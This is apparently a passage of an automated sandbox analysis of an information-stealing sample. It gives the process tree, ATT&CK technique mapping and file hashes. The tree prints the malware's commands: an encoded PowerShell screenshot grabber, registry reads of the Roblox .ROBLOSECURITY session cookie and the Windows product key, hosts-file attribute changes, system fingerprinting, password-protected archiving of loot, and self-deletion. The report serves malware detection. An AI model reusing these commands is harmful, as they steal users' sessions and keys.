  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:5196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4464
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aowo5mbw\aowo5mbw.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5296
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFFD7.tmp" "c:\Users\Admin\AppData\Local\Temp\aowo5mbw\CSC33B91BE792524DC6BA33422B71569C5.TMP"
        6⤵
        
        PID:936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1156
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:1740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2988
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:804
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5284
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2200
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI13642\rar.exe a -r -hp"999" "C:\Users\Admin\AppData\Local\Temp\UB9NG.zip" *"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6024
  - - C:\Users\Admin\AppData\Local\Temp\_MEI13642\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI13642\rar.exe a -r -hp"999" "C:\Users\Admin\AppData\Local\Temp\UB9NG.zip" *
      4⤵
      Executes dropped EXE
      PID:2188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1524
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4568
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3600
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:4680
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:3696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:5912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      PID:3364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\lib.exe""
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3384
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4592

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:5956

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5996

C:\Windows\System32\4ugzbjlst2p4g.exe
"C:\Windows\System32\4ugzbjlst2p4g.exe"
1⤵
PID:2812

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

‍ ‏ .scr

Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\‍ ‏ .scr
Size 10.3MB
SHA256 4856319325a833da3168a95cdba27a106c2766f1f3a7561064d2a13eb4ca6976
MD5 085cfdecb9ca681c276a602067ee2707
SHA1 b1fef1d1fd87b057c045ac951892e3acb034dbc2
SHA512 1c43d14a619a8df829d34568916155e62777bd17c0a5039c19f64b3252586ab3f46fd673a8bdbac1dc069cdd591b2596d7cadac0afd8324ffd4d8a6cf59be043
SSDEEP 196608:hD2QUqpeZwmW165jZIP/gvELpYTS0Mzyp4ZAM9qxz/gcrbMyDn5by:hDSSqvIyT/Mzyp4Z/wOcrbBby
TLSH
T106B6334967E811F2ECE750BD9666E83ABB7AF8011F95C68F433853302E175E14A3E721
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4bfc43f024bdd79dcc946ffe542b2f1794de078ff1b77657676a37dca36602e8
MD5 269dae566a4712dd5e09671ee63fe5f1
SHA1 8a3e789aea5e0623352b6256b97fd920fb6fa3e6
SHA512 c0cdfd3a5f5d5c78a6a763aed1495afafcaa118cb663a0334997dca3edf4fe30090fd6569ddcf097cb4c3a42d1c7b33368f40668e0234f460505338ede917fcd
TLSH
T126216633B3CD8625D899403A40CEAC1036B6D7DB409ECE5BAB84D548B43F589CE601A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
MD5 66f9b690d4e5313231bc173ce7b2c029
SHA1 b0dbce2f97d8ca067ddde29c06272e56e38fa195
SHA512 8f0c4c220fc64928778bf68c853246126b44f40fcdc99aa2fdaa491797ce02783c8776fdd7bd3154544336f0466000a8b92c740ed0d0df75b8a6990da450650e
TLSH
T158216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 30b9b9ac889d22b034605b3fe9aec47c3fe95ac61e11d649ab6fe86285e864e8
MD5 465ae4a0f214d4ef29853b0fb7414c4e
SHA1 838ea61bb580d820c605a0c0452709af7d33fc73
SHA512 f3038623c64a6b0c3f6664b8307472379eacd3f43888084e6d04ed890e8af6bd97a1a13bdbedbb0bb4748fa1a76de30ce364882ae15005074d3febe0666ba25f
TLSH
T1FE216833B3DD8614CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ed4a080113f418d50a093e174367330b34c5088aac79268f004609bb99851800
MD5 3c68a0d8a7b82cb2725fbdbc812d1b71
SHA1 d5761cbbcd6b4aac5d8a2f4b950d2eefc1f4b67f
SHA512 00bb85b18907ecaa243ee3168e3abe52296b6d6e5c690a69f782060f15558e7c0ea55760b3052a773e5df881123541e7500ca407c4a8d51ffb8decc7e743fc03
TLSH
T152215333F3CC8624C89A413A50CEAC1036B687DB41DECEABBB84D154A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

RESFFD7.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESFFD7.tmp
Size 1KB
SHA256 1c6ccd135a4e52c87463639df1e95d4f59e1b8bc75ac4e5e46fc17750f829374
MD5 850bd7632d4c3e5e27e9bf3e1320f355
SHA1 7559a851d3364776ffc58599672ec7e63f9e017f
SHA512 fad13d5c8cef4b0c03f55e264ff1776f2e19c21ad0c3899219ceea4bc2f6a2d5d0c969a9942cb9c1e2ae5ff8a34a26eebf9a5bddcf445ff37f3db9d84101bc99
TLSH
T16D21CC0943EC4B0FF0735731B9FA536B9A34FD54EFA153AA854012282C51648EEA1BB3
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI13642\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI13642\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13642\_bz2.pyd
Size 50KB
SHA256 899c31648f493e173f28a189f2bab475b78fd9299605b536aecf6e4e5a182fd4
MD5 2f0fb921014370c46b573fe8f494256a
SHA1 df8d14b8497ad14a8b1abf18ffb15456a9bfc466
SHA512 347460dd199825dbbbeb80ed95557b31fcd3689ece3a2fcf37d044b2a9078fc17ffab8667e228963b9b2bd84beb0ccd63e38e1a453924797ce4fa98e5b4d235e
SSDEEP 1536:ZO5XSUTCAvXwFT0ccbzqrKIVekzNLIeLVIcyG5TT/9vfIZRzz:IpVXsocSqrKIVTxIeLVIGpSZl
TLSH
